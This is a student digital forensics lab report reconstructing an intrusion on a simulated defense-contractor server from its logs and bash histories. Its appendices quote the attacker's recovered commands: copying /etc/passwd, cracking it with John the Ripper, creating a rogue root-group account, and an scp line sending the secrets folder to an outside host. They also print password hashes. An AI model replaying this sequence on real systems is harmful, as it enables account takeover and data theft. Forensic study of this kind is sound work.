Report

Act II: The Missing Numbers

Date: 10/04/2021

Author: Anas KWEFATI
Email: ak223wd@student.lnu.se
Semester: Spring 2021
Area: Digital Forensics
Course code: 2DV704

Contents

1 Executive Summary 1

2 Purpose of the Investigation 1

3 Methodology 1

4 Electronic Media Analyzed 1

5 Report Findings 1

6 Conclusion 3

7 Exhibits/Appendices 4

1 Executive Summary

The precinct has contacted us for an investigation on the ext2 disk image of a server from Yoyodyne Defense, that has the spreadsheet with secret numbers. An intruders got caught trying to give this file to an undercover police in exchange of cryptocoins. According to the intruder, he says that he obtained this sensitive file from a friend. The precinct has seized his computer and found many pirated music, but could not find any evidence about the spreadsheet. Therefore, in order to judge him for more than having possession of stolen numbers they want reasonable proof. According to Yoyodyne Defense, they are certain that the file was stolen, but want precise evidence to know if this intruder is responsible or not. The intruder IP address was 207.92.30.41 at the time of the issue.

2 Purpose of the Investigation

The reason for conducting the investigation can be read in Section 1. But to sum it up, the precinct has contacted us in order to do an investigation on Yoyodyne Defense server. They suspect someone from stealing a sensitive spreadsheet. Therefore, to analyze the image and support their hypothesis, we decided to investigate it on the deterLAB environment. We will check if there are any malware, then start to check the logs.

3 Methodology

In this Forensic examination, we have decided to download **act2.img**, in the deterLab environment. Then, we mounted that image into sda1. Before actually mounting the image, we made sure to keep a copy of the image, and have it as a read only, we also created a hash value of that image, in order to make sure it is the same (Figure 1). When accessing the image, we first check the system logs, then each user bash history.

4 Electronic Media Analyzed

The file **act2.img** has been examined. An .img extension means that the file is storing raw disk images of either a floppy disks, hard drives, and optical discs. Therefore, there should be no data beyond what the content of the disk. To mount that image file correctly we needed to specify that it is an ext2 disk image. The investigator has obtained the file on April 10, 2021 in the morning. The total size of the file is 1.9Gb.

5 Report Findings

An analysis was conducted on the given image file of the hard disk. This hard disk represents one of the servers from Yoyodyne Defense, and was imaged by this same enterprise. The precinct have sent us an ext2 disk image of the server. The Figure 2, contains the timeline of the incident in Pacific Daylight Time (PDT) according to the system.

We received this image on April 10 2021 at 11:00 AM, named as **act2.img**. After receiving this image, we decided to create a copy of it and generate a cryptographic hash

of the copy and the original file. Doing that allows us to ensure that the two images are bit-for-bit the same, and represent exactly what is on the file. This result can be seen in Figure 1. We also make sure that it is in read only, so we don't modify anything.

Now, we know for certain that the copy image has not been changed, therefore, all future work will be done on the copy image file. The first thing we did was to check if the hard disk was infected with a malware. Doing this step is important, in order to make sure that no malware were installed on the system. Therefore, we used the anti-virus **ClamAV**. We scanned the file, and no malware were detected.

The second step we have done, was to check the passwd file. Figure 3, shows that we have the following users in the system, **John**, **Fred**, **Mike**, **Jane**, **Bill**, **Guest**, and **Jake**. Interestingly, on the last user, Jake, we can see that it is written **"Kiddie,,,,Pwned!"** (Figure 4), which sounds quite suspicious. So we decided, to verify the group file information, in **/etc/group**, Figure 5, and 6 show that the user Jake is part of the group root, and in the secretive group as well.

From that point, we decide to look further in the system, so the first thing we want to know is the logs. Thus, we go check **/var/log** location, which is where the log files are typically stored in a UNIX system. We firstly examined the file that contains system operations (**var/log/syslog**), but most of the data did not seem interesting. Therefore, we decided to examine the authentication logs (**var/log/auth.log**). In this file, we can see a lot of information. So we decided to filter, as can be seen in Figure 7, we have filtered with only failure and password keywords. Doing that, can show us that there were many failed login attempts, and the IP was coming from **193.252.122.103**, we also have the error message **Could not reverse map address 193.252.122.103**. At that point we can suspect that someone is trying to access the accounts.

Later on, after many failing attempts, we can see that the intruder managed to login to mike's account (sshd[2229]). On Figure 8, we can see that he is trying to get root access (sshd[2266]), but fails at first, and the manages to escalate to root (sshd[2650]). After, obtaining the root, the intruder, directly creates the user **jake**. In that way, we can conclude that someone managed to access Mike account and from Mike, he created the user Jake. At the end of the authentication logs, we can see that the server is listening on port 22 (Figure 9).

After getting these information, we directly go check the user Mike. Figure 11 and 12, show his bash history. We can see there that he is trying to access the secret folder, and it seems that it is not working, as he tried it multiple times. Then, it seems that he managed to read the passwd file, so he copied it and gave the name **calendar.txt**. After this, the intruder seems to have downloaded **john the ripper**, and run it on the calendar.txt file. After doing that, it seems that he managed to get root privilege. From the bash history, we also can see that he deleted some files. If we were to recover the files, we guess that we would get the calendar.txt, and the files that contained the passwords of some users. We suspect that he managed to get access to root, but also to Mike, Jane and Fred (Figure 10).

Now, we go to the created user, Jake. Figure 13, shows his bash history. We can clearly see that he is copying the directory secrets and transferring the thanks to the command SCP, which allows to securely transfer files between two hosts and it uses the same authentication and security as SSH protocol. Furthermore, we can see that he used the IP **207.92.30.41**, which was the suspected IP obtained by the enterprise. The command also

explains why the server was listening on port 22 in the authentication logs. Then, we see that he changed the folder's name from secrets, to **.elinks**. The idea of doing that might be to hide the folder from people sight. Figure 14, shows what the folder **.elinks** contains.

Afterwards, we decide to check other users profile, in case there's something.

- **Bill:** He did not seem to have any command history as the **.bash_history** was not found.
- **Fred:** As seen in Figure 15, he tried to access the secret folder, but does not seem to have permissions. Furthermore, he created a file named **memo.txt** which is empty. Nothing really important.
- **Guest:** He did not seem to have any command history as the **.bash_history** was not found.
- **Jane:** As can be seen in Figure 16, she seems to have the possibility to access the secrets folder and copying the data. Nothing sounds too suspicious.
- **John:** He did not seem to have any command history as the **.bash_history** was not found.

6 Conclusion

To conclude, according to the data, we believe that the server was compromised. It seems that someone has managed to get access into Mike's account, and has used the tool john the ripper, in order to obtain the root password. After obtaining administration level, this intruder, then has created the user Jake. This new user Jake, was used to transfer the data from the server to the remote host, at the address : **d000d@207.92.30.41**. According to the results, we can suspect that this kid is the one who has compromised the server and stolen the data, as we managed to see the final IP address, where he was transferring the sensitive data.

Finally, before returning the system to production, there is a need on defining properly the privileges for each user and restricting to only what they need. Many commands should be limited to only the system administrator and not normal users, so, if an account is not administrator, it should be restricted to the maximum. Then, it seems the intruder managed to crack the passwords, so the enterprise should have a good password policy. For instance, each user should have a password that is at least 13 characters long, and have different characters, special characters etc. A good idea would be to test their accounts against John the Ripper. We would also recommend to encrypt all sensitive data on the server, doing this might have prevented the leak of this secret spreadsheet.

After the investigation was finished, we have generated the hash of the image and we obtained:

SHA256(act2.img) = e8eb702c1b2fc938039723cf87628bc669b8e23de16eaa6aefe64cd7e22750c1

This matches what we obtained at the beginning of the investigation. The inspection was finished on April 11 2021 at 05:00 PM.

7 Exhibits/Appendices

```
lnuitsam@workbench:/images$ sha256sum act2.img
e8eb702c1b2fc938039723cf87628bc669b8e23de16eaa6aefe64cd7e22750c1  act2.img
```

Figure 1: Cryptographic hash value of act2.img

Time	Action
Sep 10 03:56:41 - Sep 10 03:59:55	Many Authentication failure
Sep 10 04:00:15	Password accepted for Mike - first successful authentication
Sep 10 04:00:57	Session closed for user root
Sep 10 04:01:02	Session closed for user mike
Sep 10 04:01:29 - Sep 10 04:03:54	Opens session for user fred and jane
Sep 10 04:04:12 - Sep 10 04:05:02	Opens session for user mike and tries to be root but fails
Sep 10 04:05:02 - Sep 10 04:20:33	Downloads John The Ripper, and tries to crack root password until success. Then connects as root user on Mike account
Sep 10 04:21:05 - Sep 10 04:22:17	Creates user Jake
Sep 10 04:23:15 - Sep 10 04:32:40	Connects as Jake and transfers the sensitive data to intruder's host

Figure 2: Incident timeline

```
root@workbench:/images/sda1/etc# cat passwd
root:$1$vp2jt2uc$jRjAN0EvFBHbtiBY33fSW/:0:0:root:/root:/bin/bash
daemon:*:1:1:daemon:/usr/sbin:/bin/sh
bin:*:2:2:bin:/bin:/bin/sh
sys:*:3:3:sys:/dev:/bin/sh
sync:*:4:100:sync:/bin:/bin/sync
games:*:5:100:games:/usr/games:/bin/sh
man:*:6:100:man:/var/cache/man:/bin/sh
lp:*:7:7:lp:/var/spool/lpd:/bin/sh
mail:*:8:8:mail:/var/mail:/bin/sh
news:*:9:9:news:/var/spool/news:/bin/sh
uucp:*:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:*:13:13:proxy:/bin:/bin/sh
postgres:*:31:32:postgres:/var/lib/postgres:/bin/sh
www-data:*:33:33:www-data:/var/www:/bin/sh
backup:*:34:34:backup:/var/backups:/bin/sh
operator:*:37:37:Operator:/var:/bin/sh
list:*:38:38:SmartList:/var/list:/bin/sh
irc:*:39:39:ircd:/var:/bin/sh
gnats:*:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:*:65534:65534:nobody:/home:/bin/sh
john:$1$kj5qXZbQ$ZoULHcRveDDHzsOsTUVwd0:1000:1000:John Finkelstein,,,:/home/john:/bin/bash
identd:!:100:65534::/var/run/identd:/bin/false
sshd:!:101:65534::/var/run/sshd:/bin/false
fred:$1$hzYlBK./$HB93670uewrh68H.1JfL3.:1001:1001:Hank Snow,,,:/home/fred:/bin/bash
mike:$1$UO8.DgZE$jgLudTIzf7wR7PDuob47M1:1002:1002:Mike DeJesus,,,:/home/mike:/bin/bash
jane:$1$z8E1XOpC$C2sstT/mpixW1DjY06ouP0:1003:1003:Jane Wei,,,:/home/jane:/bin/bash
bill:$1$iM.H9CLO$t/wfgA6Ss12UJlkA6rIle.:1004:1004:Bill Boyardee,,,:/home/bill:/bin/bash
guest:$1$t4fC1TfN$3gSwUWOK8nMsX9bf61khq/:1005:1005:Yoyodyne Guest,,,:/home/guest:/bin/bash
jake:$1$WkuB0RMS$3IJwa3BO27vxjFwv4wVr./:1006:1006:S. Kiddie,,,,Pwned!:/home/jake:/bin/bash
```

Figure 3: Passwd file

```
jake:$1$WkuB0RMS$3IJwa3BO27vxjFwv4wVr./:1006:1006:S. Kiddie,,,,Pwned!:/home/jake:/bin/bash
root@workbench:/images/sda1/etc#
```

Figure 4: Jake Information in Passwd

```
root@workbench:/images/sda1/etc# cat group
root:*:0:jake
daemon:*:1:
bin:*:2:
sys:*:3:
adm:*:4:
tty:*:5:
disk:*:6:
lp:*:7:lp
mail:*:8:
news:*:9:
```

Figure 5: Group file 1

```
users:*:100:
nogroup:*:65534:
john:x:1000:
secretive:x:101:john,hank,jane,root,jake
fred:x:1001:
mike:x:1002:
jane:x:1003:
bill:x:1004:
guest:x:1005:
jake:x:1006:
root@workbench:/images/sda1/etc#
```

Figure 6: Group file 2

```
root@workbench:/images/sda1/var/log# less auth.log | grep "failure\|password"
Sep 10 03:56:41 yoyodyne PAM_unix[2214]: authentication failure; (uid=0) -> john for ssh service
Sep 10 03:56:43 yoyodyne sshd[2214]: Failed password for john from 193.252.122.103 port 33018 ssh2
Sep 10 03:56:50 yoyodyne PAM_unix[2214]: 2 more authentication failures; (uid=0) -> john for ssh service
Sep 10 03:57:36 yoyodyne PAM_unix[2216]: authentication failure; (uid=0) -> fred for ssh service
Sep 10 03:57:38 yoyodyne sshd[2216]: Failed password for fred from 193.252.122.103 port 33019 ssh2
Sep 10 03:57:58 yoyodyne PAM_unix[2216]: 2 more authentication failures; (uid=0) -> fred for ssh service
Sep 10 03:59:45 yoyodyne PAM_unix[2227]: authentication failure; (uid=0) -> mike for ssh service
Sep 10 03:59:47 yoyodyne sshd[2227]: Failed password for mike from 193.252.122.103 port 57719 ssh2
Sep 10 03:59:55 yoyodyne PAM_unix[2227]: 2 more authentication failures; (uid=0) -> mike for ssh service
Sep 10 04:00:15 yoyodyne sshd[2229]: Accepted password for mike from 193.252.122.103 port 57720 ssh2
Sep 10 04:01:29 yoyodyne sshd[2237]: Accepted password for fred from 193.252.122.103 port 57722 ssh2
Sep 10 04:01:48 yoyodyne sshd[2235]: Accepted password for root from 193.252.122.103 port 57721 ssh2
Sep 10 04:03:26 yoyodyne sshd[2251]: Accepted password for jane from 193.252.122.103 port 57726 ssh2
Sep 10 04:04:11 yoyodyne sshd[2258]: Accepted password for mike from 193.252.122.103 port 34667 ssh2
Sep 10 04:04:59 yoyodyne PAM_unix[2266]: authentication failure; mike(uid=1002) -> root for su service
Sep 10 04:05:02 yoyodyne su[2266]: pam_authenticate: Authentication failure
Sep 10 04:08:23 yoyodyne sshd[2280]: Accepted password for mike from 193.252.122.103 port 34672 ssh2
Sep 10 04:17:31 yoyodyne sshd[2626]: Accepted password for jane from 193.252.122.103 port 55072 ssh2
Sep 10 04:18:40 yoyodyne sshd[2635]: Accepted password for root from 193.252.122.103 port 55075 ssh2
Sep 10 04:23:15 yoyodyne sshd[2666]: Accepted password for jake from 127.0.0.1 port 1028 ssh2
root@workbench:/images/sda1/var/log#
```

Figure 7: Auth.log file content filtered with GREP with keywords Failure and Password

```
root@workbench:/images/sda1/var/log# less auth.log | grep "mike\|jake"
Sep 10 03:59:45 yoyodyne PAM_unix[2227]: authentication failure; (uid=0) -> mike for ssh service
Sep 10 03:59:47 yoyodyne sshd[2227]: Failed password for mike from 193.252.122.103 port 57719 ssh2
Sep 10 03:59:55 yoyodyne PAM_unix[2227]: 2 more authentication failures; (uid=0) -> mike for ssh service
Sep 10 04:00:15 yoyodyne sshd[2229]: Accepted password for mike from 193.252.122.103 port 57720 ssh2
Sep 10 04:00:15 yoyodyne PAM_unix[2231]: (ssh) session opened for user mike by (uid=1002)
Sep 10 04:01:02 yoyodyne PAM_unix[2231]: (ssh) session closed for user mike
Sep 10 04:04:11 yoyodyne sshd[2258]: Accepted password for mike from 193.252.122.103 port 34667 ssh2
Sep 10 04:04:12 yoyodyne PAM_unix[2260]: (ssh) session opened for user mike by (uid=1002)
Sep 10 04:04:59 yoyodyne PAM_unix[2266]: authentication failure; mike(uid=1002) -> root for su service
Sep 10 04:05:02 yoyodyne su[2266]: - pts/0 mike-root
Sep 10 04:08:10 yoyodyne PAM_unix[2260]: (ssh) session closed for user mike
Sep 10 04:08:23 yoyodyne sshd[2280]: Accepted password for mike from 193.252.122.103 port 34672 ssh2
Sep 10 04:08:23 yoyodyne PAM_unix[2282]: (ssh) session opened for user mike by (uid=1002)
Sep 10 04:20:33 yoyodyne su[2650]: + pts/0 mike-root
Sep 10 04:20:33 yoyodyne PAM_unix[2650]: (su) session opened for user root by mike(uid=1002)
Sep 10 04:21:05 yoyodyne groupadd[2654]: new group: name=jake, gid=1006
Sep 10 04:21:05 yoyodyne useradd[2655]: new user: name=jake, uid=1006, gid=1006, home=/home/jake, shell=/bin/bash
Sep 10 04:21:21 yoyodyne PAM_unix[2658]: Password for jake was changed
Sep 10 04:21:51 yoyodyne chfn[2659]: changed user `jake' information.
Sep 10 04:22:17 yoyodyne chfn[2660]: changed user `jake' information.
Sep 10 04:23:15 yoyodyne sshd[2666]: Accepted password for jake from 127.0.0.1 port 1028 ssh2
Sep 10 04:23:15 yoyodyne PAM_unix[2668]: (ssh) session opened for user jake by (uid=1006)
Sep 10 04:26:24 yoyodyne PAM_unix[2668]: (ssh) session closed for user jake
Sep 10 04:28:11 yoyodyne PAM_unix[2282]: (ssh) session closed for user mike
root@workbench:/images/sda1/var/log#
```

Figure 8: Auth.log file content filtered with GREP with Mike and Jake keywords

```
Sep 10 04:28:51 yoyodyne sshd[1963]: Received signal 15; terminating.
Sep 10 04:31:53 yoyodyne sshd[197]: Server listening on 0.0.0.0 port 22.
Sep 10 04:32:26 yoyodyne PAM_unix[206]: (login) session opened for user root by LOGIN(uid=0)
Sep 10 04:32:27 yoyodyne login[206]: ROOT LOGIN on `tty1'
Sep 10 04:32:40 yoyodyne sshd[197]: Received signal 15; terminating.
(END)
```

Figure 9: Last lines of the Auth.log file

```
root@workbench:/images/sda1/var/log# less auth.log | grep "session"
Feb 8 02:53:01 yoyodyne PAM_unix[244]: (cron) session opened for user mail by (uid=0)
Feb 8 02:53:02 yoyodyne PAM_unix[244]: (cron) session closed for user mail
Sep 10 10:38:01 yoyodyne PAM_unix[2207]: (cron) session closed for user mail
Sep 10 10:53:01 yoyodyne PAM_unix[2211]: (cron) session opened for user mail by (uid=0)
Sep 10 10:53:01 yoyodyne PAM_unix[2211]: (cron) session closed for user mail
Sep 10 04:00:15 yoyodyne PAM_unix[2231]: (ssh) session opened for user mike by (uid=1002)
Sep 10 04:00:57 yoyodyne PAM_unix[2110]: (ssh) session closed for user root
Sep 10 04:01:02 yoyodyne PAM_unix[2231]: (ssh) session closed for user mike
Sep 10 04:01:29 yoyodyne PAM_unix[2239]: (ssh) session opened for user fred by (uid=1001)
Sep 10 04:01:48 yoyodyne PAM_unix[2235]: (ssh) session opened for user root by (uid=0)
Sep 10 04:03:02 yoyodyne PAM_unix[2239]: (ssh) session closed for user fred
Sep 10 04:03:26 yoyodyne PAM_unix[2253]: (ssh) session opened for user jane by (uid=1003)
Sep 10 04:03:54 yoyodyne PAM_unix[2253]: (ssh) session closed for user jane
Sep 10 04:04:12 yoyodyne PAM_unix[2260]: (ssh) session opened for user mike by (uid=1002)
Sep 10 11:08:01 yoyodyne PAM_unix[2277]: (cron) session opened for user mail by (uid=0)
Sep 10 11:08:01 yoyodyne PAM_unix[2277]: (cron) session closed for user mail
Sep 10 04:08:10 yoyodyne PAM_unix[2260]: (ssh) session closed for user mike
Sep 10 04:08:23 yoyodyne PAM_unix[2282]: (ssh) session opened for user mike by (uid=1002)
Sep 10 04:17:10 yoyodyne PAM_unix[2235]: (ssh) session closed for user root
Sep 10 04:17:31 yoyodyne PAM_unix[2628]: (ssh) session opened for user jane by (uid=1003)
Sep 10 04:18:40 yoyodyne PAM_unix[2635]: (ssh) session opened for user root by (uid=0)
Sep 10 04:19:19 yoyodyne PAM_unix[2628]: (ssh) session closed for user jane
Sep 10 04:20:26 yoyodyne PAM_unix[2635]: (ssh) session closed for user root
Sep 10 04:20:33 yoyodyne PAM_unix[2650]: (su) session opened for user root by mike(uid=1002)
Sep 10 11:23:01 yoyodyne PAM_unix[2663]: (cron) session opened for user mail by (uid=0)
Sep 10 11:23:01 yoyodyne PAM_unix[2663]: (cron) session closed for user mail
Sep 10 04:23:15 yoyodyne PAM_unix[2668]: (ssh) session opened for user jake by (uid=1006)
Sep 10 04:26:24 yoyodyne PAM_unix[2668]: (ssh) session closed for user jake
Sep 10 04:28:11 yoyodyne PAM_unix[2282]: (ssh) session closed for user mike
Sep 10 04:32:26 yoyodyne PAM_unix[206]: (login) session opened for user root by LOGIN(uid=0)
root@workbench:/images/sda1/var/log#
```

Figure 10: Auth.log file content filtered with GREP for session

```
root@workbench:/images/sda1/home/mike# cat .bash_history
ls
mkdir test
rmdir test
mkdir /etc/foo
sudo mkdir /etc/foo
su -
ls /
cd /secrets
cd /secrets
cd /secrets
cd /var/../secrets/
cat /etc/passwd
cp /etc/passwd calendar.txt
wget http://www.openwall.com/john/f/john-1.7.2.tar.bz2
curl
lynx
lynx http://www.openwall.com/john/f/john-1.7.2.tar.bz2
ls
reset
less .bash_history
cat .bash_history
lynx http://www.openwall.com/john/f/john-1.7.2.tar.bz2
ls
tar -xvzf john-1.7.2.tar.bz2
tar -xvjf john-1.7.2.tar.bz2
which bzip2
rm john-1.7.2.tar.bz2
lynx http://www.openwall.com/john/f/john-1.7.2.tar.gz
ls
tar -xvzf john-1.7.2.tar.gz
cd john-1.7.2
ls
less README
less doc/INSTALL
cd src/
ls
make
make | less
make linux-x86-mmx
ls
cd ..
ls
cd ..
```

Figure 11: Mike's Bash History

```
ls
cd ..
cp john-1.7.2/run/john .
ls
less john-1.7.2/doc/INSTALL
./john --test
mv john john-1.7.2/run/
mv calendar.txt john-1.7.2/run/
cd john-1.7.2/run/
ls
./john --test
./john calendar.txt
su -
whoami
root@workbench:/images/sda1/home/mike#
```

Figure 12: Mike's Bash History 2

```
root@workbench:/images/sda1/home/jake# cat .bash_history
cp -r /secrets .
ls
scp -r secrets d000d@207.92.30.41   :~/
ls
mv secrets .elinks
ls
ls -alh
root@workbench:/images/sda1/home/jake#
```

Figure 13: Jake's bash history

```
root@workbench:/images/sda1/home/jake/.elinks# ls -al
total 16
drwxr-x--- 4 1006 1006 4096 Sep 10  2007 .
drwxr-xr-x 4 1006 1006 4096 Sep 10  2007 ..
drwxr-x--- 2 1006 1006 4096 Sep 10  2007 numbers
drwxr-x--- 2 1006 1006 4096 Sep 10  2007 other
root@workbench:/images/sda1/home/jake/.elinks# ls numbers/
100.csv  16.csv  22.csv  29.csv  35.csv  41.csv  48.csv  54.csv  60.csv  67.csv  73.csv  7.csv   86.csv  92.csv  99.csv
10.csv   17.csv  23.csv  2.csv   36.csv  42.csv  49.csv  55.csv  61.csv  68.csv  74.csv  80.csv  87.csv  93.csv  9.csv
11.csv   18.csv  24.csv  30.csv  37.csv  43.csv  4.csv   56.csv  62.csv  69.csv  75.csv  81.csv  88.csv  94.csv  NOTICE
12.csv   19.csv  25.csv  31.csv  38.csv  44.csv  50.csv  57.csv  63.csv  6.csv   76.csv  82.csv  89.csv  95.csv
13.csv   1.csv   26.csv  32.csv  39.csv  45.csv  51.csv  58.csv  64.csv  70.csv  77.csv  83.csv  8.csv   96.csv
14.csv   20.csv  27.csv  33.csv  3.csv   46.csv  52.csv  59.csv  65.csv  71.csv  78.csv  84.csv  90.csv  97.csv
15.csv   21.csv  28.csv  34.csv  40.csv  47.csv  53.csv  5.csv   66.csv  72.csv  79.csv  85.csv  91.csv  98.csv
root@workbench:/images/sda1/home/jake/.elinks# cat numbers/NOTICE
THIS DATA MUST NOT FALL INTO THE WRONG HANDS
root@workbench:/images/sda1/home/jake/.elinks#
root@workbench:/images/sda1/home/jake/.elinks#
root@workbench:/images/sda1/home/jake/.elinks# ls other/
newsecret.data  secret2.data  secret3.data  secret.data
root@workbench:/images/sda1/home/jake/.elinks#
```

Figure 14: Jake's .elink folder

```
root@workbench:/images/sda1/home/fred# ls -al
total 28
drwxr-xr-x 2 1001  1001 4096 Sep 10  2007 .
drwxrwsr-x 9 root staff 4096 Sep 10  2007 ..
-rw-r--r-- 1 1001  1001  266 Sep 10  2007 .alias
-rw------- 1 1001  1001   64 Sep 10  2007 .bash_history
-rw-r--r-- 1 1001  1001  509 Sep 10  2007 .bash_profile
-rw-r--r-- 1 1001  1001 1093 Sep 10  2007 .bashrc
-rw-r--r-- 1 1001  1001  375 Sep 10  2007 .cshrc
-rw-r--r-- 1 1001  1001    0 Sep 10  2007 memo.txt
root@workbench:/images/sda1/home/fred# cat .bash_history
ls -alh /
whoami
cd /secrets/
less /etc/group
ls
vi memo.txt
ls
root@workbench:/images/sda1/home/fred#
```

Figure 15: Fred's Bash History

```
root@workbench:/images/sda1/home/jane# ls -al
total 28
drwxr-xr-x 2 1003  1003 4096 Sep 10  2007 .
drwxrwsr-x 9 root staff 4096 Sep 10  2007 ..
-rw-r--r-- 1 1003  1003  266 Sep 10  2007 .alias
-rw------- 1 1003  1003  242 Sep 10  2007 .bash_history
-rw-r--r-- 1 1003  1003  509 Sep 10  2007 .bash_profile
-rw-r--r-- 1 1003  1003 1093 Sep 10  2007 .bashrc
-rw-r--r-- 1 1003  1003  375 Sep 10  2007 .cshrc
root@workbench:/images/sda1/home/jane# cat .bash_history
cd /secrets
ls
less numbers/83.csv
less numbers/82.csv
cd /secrets/
ls
cd other/
ls
cat secret3.data >> newsecret.data
ls -alh
cat secret3.data >> newsecret.data
cat secret2.data >> newsecret.data
ls
cat newsecret.data
qls
reset
ls
logout
root@workbench:/images/sda1/home/jane#
```

Figure 16: Jane's Bash History